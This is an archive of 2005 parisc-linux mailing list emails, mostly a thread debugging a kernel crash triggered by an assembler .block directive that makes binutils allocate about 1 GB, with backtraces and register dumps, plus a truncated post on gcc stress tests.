> This card appears to the use the same chipset as the B132L+ (mine is
> only B132L, no plus)
> 
> http://www.openpa.net/scsi.html#875
> 
> If anyone knows how to enable this card, please let me know.  I only
> found one similar reference on google groups, and nothing on google
> about this.  I assume this card is safe, IMO the halt message is more
> about HP's self interest HCL then damage on the system. (besides, how
> do they know this card will work with HP-UX?)  Irrelevant as it's
> Debian Sarge with stock 2.6 kernel.
> 
> Thanks in advance. I look forward to your responses.
> 
> 
> Scott Edwards
> --
> Daxal Communications - http://www.daxal.com
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 








--------------------------------------------------------------------
FREE learndirect courses for Merseyside SMEs and individual learners
Register at: http://www.connectbusinesscentre.com/learndirect/?mmf
See what you can achieve
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Why gas kills the hppa-linux kernel and what you can
	do about it.
Date: Thu, 30 Jun 2005 14:36:03 -0400
Lines: 74
Approved: news@gmane.org
Message-ID: <20050630183559.GK5269@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623824 15151 80.91.229.3 (22 Nov 2014 02:37:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Jun 2005 18:36:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 30 Jun 2005 20:36:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A620E7D66B;
	Thu, 30 Jun 2005 12:36:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29602-05; Thu, 30 Jun 2005 12:36:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B18B07D66C;
	Thu, 30 Jun 2005 12:36:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D261B7D66A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Jun 2005 12:36:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29602-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Jun 2005 12:36:07 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 507807D669
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Jun 2005 12:36:07 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Do3tN-0006aK-00 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Jun 2005 14:36:05 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8V62YpEPeSEkT76WZHQhaXN1IGRvbwCG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22841


pa,

Assemble this using a binutils without Alan Modra's pa_block patch:
---        
	.data
foo:
        .block
bar:
        .block 0x3fffffff
com:
---

And I get this:

Backtrace:   
 [<101c10a4>] journal_add_journal_head+0xdc/0x13c
 [<101ba51c>] journal_dirty_data+0x64/0x1dc
 [<101a7634>] ext3_journal_dirty_data+0x1c/0x60
 [<101a73d8>] walk_page_buffers+0xe8/0xf4
 [<101a7d5c>] ext3_ordered_writepage+0x168/0x1fc
 [<1018c1d8>] mpage_writepages+0x2ac/0x3fc
 [<1018a4cc>] __sync_single_inode+0x5c/0x274
 [<1018a77c>] __writeback_single_inode+0x98/0x16c
 [<1018aa2c>] sync_sb_inodes+0x1dc/0x32c
 [<1018ac38>] writeback_inodes+0xbc/0xd8
 [<10147b08>] background_writeout+0xc4/0x11c
 [<1014884c>] __pdflush+0x134/0x204
 [<1014893c>] pdflush+0x20/0x2c
 [<1013abd0>] kthread+0xe8/0xf0
 [<10109c5c>] ret_from_kernel_thread+0x1c/0x24


Kernel Fault: Code=15 regs=3249c840 (Addr=73c9d7ba)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 10529010 101c10a4 73c9d7ba
r04-07  2046f930 45a703e8 2046f930 00000000
r08-11  00001000 00000000 00000000 45a703e8
r12-15  101a7bc4 00002000 4fe678dc 101a7bf4
r16-19  00000000 00000000 3249c508 00000002
r20-23  00000000 00000000 73c9d7ba 00000000
r24-27  00000034 00000000 73c9d7ba 1038e010
r28-31  73c9d7ba 00100100 3249c840 112d35d4
sr0-3   00000000 0000016a 00000000 0000016a
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10236f48 10236f4c
 IIR: 0ed91200    ISR: 00000000  IOR: 73c9d7ba
 CPU:        0   CR30: 3249c000 CR31: 10478000
 ORIG_R28: 3249c980
 IAOQ[0]: memset+0x24/0xac
 IAOQ[1]: memset+0x28/0xac
RP(r2): journal_add_journal_head+0xdc/0x13c
---

The story goes that binutils attempts to allocate a monstrous amount of
memory for that block. Newer binutils complain, Alan added some magic
checks.

The question I have is:

a. Why does the box die? Is this OOM looking for memory?
b. Why doesn't the process just die?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Why gas kills the hppa-linux kernel and what you
	can do about it.
Date: Thu, 30 Jun 2005 14:41:33 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20050630184132.GL5269@systemhalted.org>
References: <20050630183559.GK5269@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623824 15152 80.91.229.3 (22 Nov 2014 02:37:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Jun 2005 18:41:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 30 Jun 2005 20:41:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A1A87D689;
	Thu, 30 Jun 2005 12:41:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29945-04; Thu, 30 Jun 2005 12:41:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 705AB7D67E;
	Thu, 30 Jun 2005 12:41:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AA5037D66B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Jun 2005 12:41:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29945-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Jun 2005 12:41:36 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 2560D7D66A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Jun 2005 12:41:36 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Do3yg-0006k6-00 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Jun 2005 14:41:34 -0400
Content-Disposition: inline
In-Reply-To: <20050630183559.GK5269@systemhalted.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: v1m2YotueSEkYb6WZHQhaXN1IGRvb8D3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22842

On Thu, Jun 30, 2005 at 02:36:03PM -0400, Carlos O'Donell wrote:
> 
> pa,
> 
> Assemble this using a binutils without Alan Modra's pa_block patch:
> ---        
> 	.data
> foo:
>         .block
> bar:
>         .block 0x3fffffff
> com:
> ---

The last thing I see is this:
mmap(NULL, 1073811456, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x408fc000

And I believe that the process proceeds to memset everything to zero.
I've done similar tests before and not had any problems. I guess I
should probably turn OOM off.

c.


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Why gas kills the hppa-linux kernel and what you
	can
Date: Thu, 30 Jun 2005 15:07:30 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200506301907.j5UJ7UAx029747@hiauly1.hia.nrc.ca>
References: <20050630183559.GK5269@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623825 15158 80.91.229.3 (22 Nov 2014 02:37:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Jun 2005 19:07:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx003) with SMTP; 30 Jun 2005 21:07:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E9827D691;
	Thu, 30 Jun 2005 13:07:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30004-09; Thu, 30 Jun 2005 13:07:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E98D37D692;
	Thu, 30 Jun 2005 13:07:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF3557D68E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Jun 2005 13:07:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29945-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Jun 2005 13:07:32 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 42A187D689
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Jun 2005 13:07:32 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j5UJ7UnV029748; Thu, 30 Jun 2005 15:07:31 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j5UJ7UAx029747;
	Thu, 30 Jun 2005 15:07:30 -0400 (EDT)
In-Reply-To: <20050630183559.GK5269@systemhalted.org> from "Carlos O'Donell"
	at Jun 30, 2005 02:36:03 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qye2YrYPeSEkcb6WZHQhaXN1IGRvbwDP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22843

>  IAOQ[0]: memset+0x24/0xac
>  IAOQ[1]: memset+0x28/0xac

It looks like memset has been passed a bad address.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Why gas kills the hppa-linux kernel and what you
	can
Date: Thu, 30 Jun 2005 15:17:43 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20050630191743.GN5269@systemhalted.org>
References: <20050630183559.GK5269@systemhalted.org>
	<200506301907.j5UJ7UAx029747@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623825 15159 80.91.229.3 (22 Nov 2014 02:37:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Jun 2005 19:18:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 30 Jun 2005 21:18:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DC3C7D69A;
	Thu, 30 Jun 2005 13:17:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30276-09; Thu, 30 Jun 2005 13:17:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6929F7D69B;
	Thu, 30 Jun 2005 13:17:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C44DF7D696
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Jun 2005 13:17:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30419-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Jun 2005 13:17:51 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 3BCD37D691
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Jun 2005 13:17:51 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Do4Xg-00074A-00; Thu, 30 Jun 2005 15:17:44 -0400
Content-Disposition: inline
In-Reply-To: <200506301907.j5UJ7UAx029747@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OyC2YkcOeSEkWL6WZHQhaXN1IGRvb8Cr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22844

On Thu, Jun 30, 2005 at 03:07:30PM -0400, John David Anglin wrote:
> >  IAOQ[0]: memset+0x24/0xac
> >  IAOQ[1]: memset+0x28/0xac
> 
> It looks like memset has been passed a bad address.
> 

Who passed the bad page?

I see this from the userspace/kernel side:

as-new        D 10109D08     0  1065    748                     (NOTLB)
Backtrace:
 [<10100eac>] schedule+0x4a0/0x6f8
 [<10101b10>] io_schedule+0x3c/0x68
 [<101404d8>] sync_page+0x40/0x68
 [<10102078>] __wait_on_bit_lock+0xdc/0xf0
 [<101410a4>] __lock_page+0x98/0xa4
 [<101532fc>] do_swap_page+0x36c/0x400
 [<10153c94>] handle_mm_fault+0x120/0x204
 [<10103558>] do_page_fault+0x214/0x2a4
 [<10104fd4>] handle_interruption+0x2bc/0x5e8
 [<1010a088>] intr_check_sig+0x0/0xc
 [<1014c388>] __pagevec_lru_add_active+0xfc/0x144
 [<10129e98>] tasklet_action+0x70/0xe0
 [<10162fd4>] dentry_open+0x120/0x1c0
 [<10162fd4>] dentry_open+0x120/0x1c0
 [<10162fd4>] dentry_open+0x120/0x1c0
 [<10162fd4>] dentry_open+0x120/0x1c0

Clearly as-new is toast and swapping the system like made.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Fri, 1 Jul 2005 15:43:17 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <42BAE7C3000026F9@mail-5-bnl.tiscali.it>
References: <42BD1604.4050403@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623825 15164 80.91.229.3 (22 Nov 2014 02:37:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jul 2005 13:43:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 01 Jul 2005 15:43:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74B117D666;
	Fri,  1 Jul 2005 07:43:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06093-07; Fri, 1 Jul 2005 07:43:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 739717D667;
	Fri,  1 Jul 2005 07:43:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AAEF7D665
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 07:43:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06093-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Jul 2005 07:43:27 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 9C0E47D664
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 07:43:27 -0600 (MDT)
Original-Received: from 10.39.115.135 by mrq-2 with esmtp (Exim)
	id 1DoLnb-0004Id-4v; Fri, 01 Jul 2005 15:43:23 +0200
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Fri, 1 Jul 2005 15:43:17 +0200
In-Reply-To: <42BD1604.4050403@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xi23YlZ+eSEkQb6WZHQhaXN1IGRvbwCC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22845

Helo Dave and all,

Just a small update with some success ;-)

for remind:
(with gcc-3.3)
    o 2.6.9-rc2-pa1 with default compile option '-mdisable-fpregs' works
fine on my b180 (stress test ok)

    o the same 2.6.9-rc2-pa1 without this option (i.e. new default) crash=
ed
on stress test (about 2h test)
